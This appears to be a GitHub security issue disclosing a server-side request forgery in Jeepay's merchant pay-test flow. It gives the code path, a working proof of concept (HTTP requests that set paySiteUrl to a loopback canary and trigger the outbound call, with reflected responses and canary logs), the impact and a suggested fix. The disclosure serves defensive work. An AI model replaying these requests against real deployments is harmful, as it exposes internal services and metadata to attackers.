Skip to content

SSRF in Jeepay Merchant Pay-Test paySiteUrl #121

Description

@cyuanb

Summary

Jeepay contains a non-blind SSRF vulnerability in the merchant pay-test flow, where the manager-controlled paySiteUrl from PUT /api/sysConfigs/applicationConfig is passed to JeepayClient and used as the outbound payment endpoint, allowing privileged users to make the merchant service access internal HTTP resources and reflect upstream responses through the pay-test API.

Root Cause

The source is the manager application-configuration endpoint. It treats the request body as a generic map and forwards every supplied key/value pair to the configuration service:

// jeepay-manager/src/main/java/com/jeequan/jeepay/mgr/ctrl/config/SysConfigController.java:92-115
public ApiRes update(@PathVariable("groupKey") String groupKey) {
    JSONObject paramJSON = getReqParamJSON();
    Map<String, String> updateMap = JSONObject.toJavaObject(paramJSON, Map.class);
    int update = sysConfigService.updateByConfigKey(updateMap);
    if(update <= 0){
        return ApiRes.fail(ApiCodeEnum.SYSTEM_ERROR, "更新失败");
    }
    SpringBeansUtil.getBean(SysConfigController.class).updateSysConfigMQ(groupKey);
    return ApiRes.ok();
}

There is no separate destination policy for the paySiteUrl key.

The merchant pay-test endpoint later reads that value and uses it to construct the client:

// jeepay-merchant/src/main/java/com/jeequan/jeepay/mch/ctrl/paytest/PaytestController.java:150-172
DBApplicationConfig dbApplicationConfig = sysConfigService.getDBApplicationConfig();
JeepayClient jeepayClient = new JeepayClient(
        dbApplicationConfig.getPaySiteUrl(), mchApp.getAppSecret());
PayOrderCreateResponse response = jeepayClient.execute(request);

The source-to-sink path is:

PUT /api/sysConfigs/applicationConfig
  -> generic updateMap.paySiteUrl
  -> persisted DBApplicationConfig.paySiteUrl
  -> PaytestController
  -> JeepayClient(baseUrl)
  -> merchant service POST /api/pay/unifiedOrder to baseUrl
  -> upstream response parsed by the pay-test API

POC

  • The Canary listened on 127.0.0.1:28081 inside the merchant container network namespace,

Canary A: store the configuration

Request

PUT /api/sysConfigs/applicationConfig HTTP/1.1
Host: localhost:37893
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 61

{"paySiteUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-003-A"}

Response

HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:52 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 26
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY

{"msg":"SUCCESS","code":0}

Canary B: store the configuration

Request

PUT /api/sysConfigs/applicationConfig HTTP/1.1
Host: localhost:37893
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 61

{"paySiteUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-003-B"}

Response

HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:54 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 26
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY

{"msg":"SUCCESS","code":0}

Canary A: trigger the merchant pay-test flow

Request

POST /api/paytest/payOrders HTTP/1.1
Host: localhost:37894
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 159

{"appId":"APPFC100001","mchOrderNo":"RERUN-SSRF003-A-202608051750","wayCode":"ALI_QR","amount":0.01,"divisionMode":0,"orderTitle":"paySiteUrl SSRF validation"}

Response

HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:54 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers

9a
{"code":9999,"msg":"Invalid response object from API: SSRF_POC_OK_SSRF-003-A\nauth:/system/config/base-path/verification\n. (HTTP response code was 200)"}
0

Canary B: trigger the merchant pay-test flow

Request

POST /api/paytest/payOrders HTTP/1.1
Host: localhost:37894
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 159

{"appId":"APPFC100001","mchOrderNo":"RERUN-SSRF003-B-202608051751","wayCode":"ALI_QR","amount":0.01,"divisionMode":0,"orderTitle":"paySiteUrl SSRF validation"}

Response

HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:56 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers

9a
{"code":9999,"msg":"Invalid response object from API: SSRF_POC_OK_SSRF-003-B\nauth:/system/config/base-path/verification\n. (HTTP response code was 200)"}
0

The Canary recorded the actual outbound requests from source: 127.0.0.1:

2026-08-05T09:38:54.429500+00:00
POST /poc/jeepay_SSRF-003-A/api/pay/unifiedOrder
source: 127.0.0.1
body: {"amount":1,"mchOrderNo":"RERUN-SSRF003-A-202608051750","subject":"paySiteUrl SSRF validation[MFC100001商户联调]","wayCode":"ALI_QR","sign":"13F896AD6E699CC3023085259DD0AAE5","reqTime":"1785922734","body":"paySiteUrl SSRF validation[MFC100001商户联调]","version":"1.0","channelExtra":"{}","appId":"APPFC100001","clientIp":"172.16.69.1","notifyUrl":"http://172.16.0.1:37895/api/anon/paytestNotify/payOrder","signType":"MD5","currency":"CNY","mchNo":"MFC100001","divisionMode":0}

2026-08-05T09:38:56.523726+00:00
POST /poc/jeepay_SSRF-003-B/api/pay/unifiedOrder
source: 127.0.0.1
body: {"amount":1,"mchOrderNo":"RERUN-SSRF003-B-202608051751","subject":"paySiteUrl SSRF validation[MFC100001商户联调]","wayCode":"ALI_QR","sign":"1F612B75C24BB771C1592148E3BC20C8","reqTime":"1785922736","body":"paySiteUrl SSRF validation[MFC100001商户联调]","version":"1.0","channelExtra":"{}","appId":"APPFC100001","clientIp":"172.16.69.1","notifyUrl":"http://172.16.0.1:37895/api/anon/paytestNotify/payOrder","signType":"MD5","currency":"CNY","mchNo":"MFC100001","divisionMode":0}

Impact

An operator who can edit the application configuration can make every merchant pay-test request originate from the merchant service toward an attacker-selected internal HTTP destination. The reflected response can expose internal content directly to the caller, enabling internal endpoint discovery, metadata/configuration exposure, and attacks against services trusted by the merchant network.

Suggested Fix

Treat paySiteUrl as a server-controlled deployment setting: enforce an explicit HTTPS origin allowlist and reject private, loopback, link-local, multicast, and metadata destinations after DNS resolution and on connection. Disable or strictly constrain redirects and never return arbitrary upstream response bodies to the caller.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions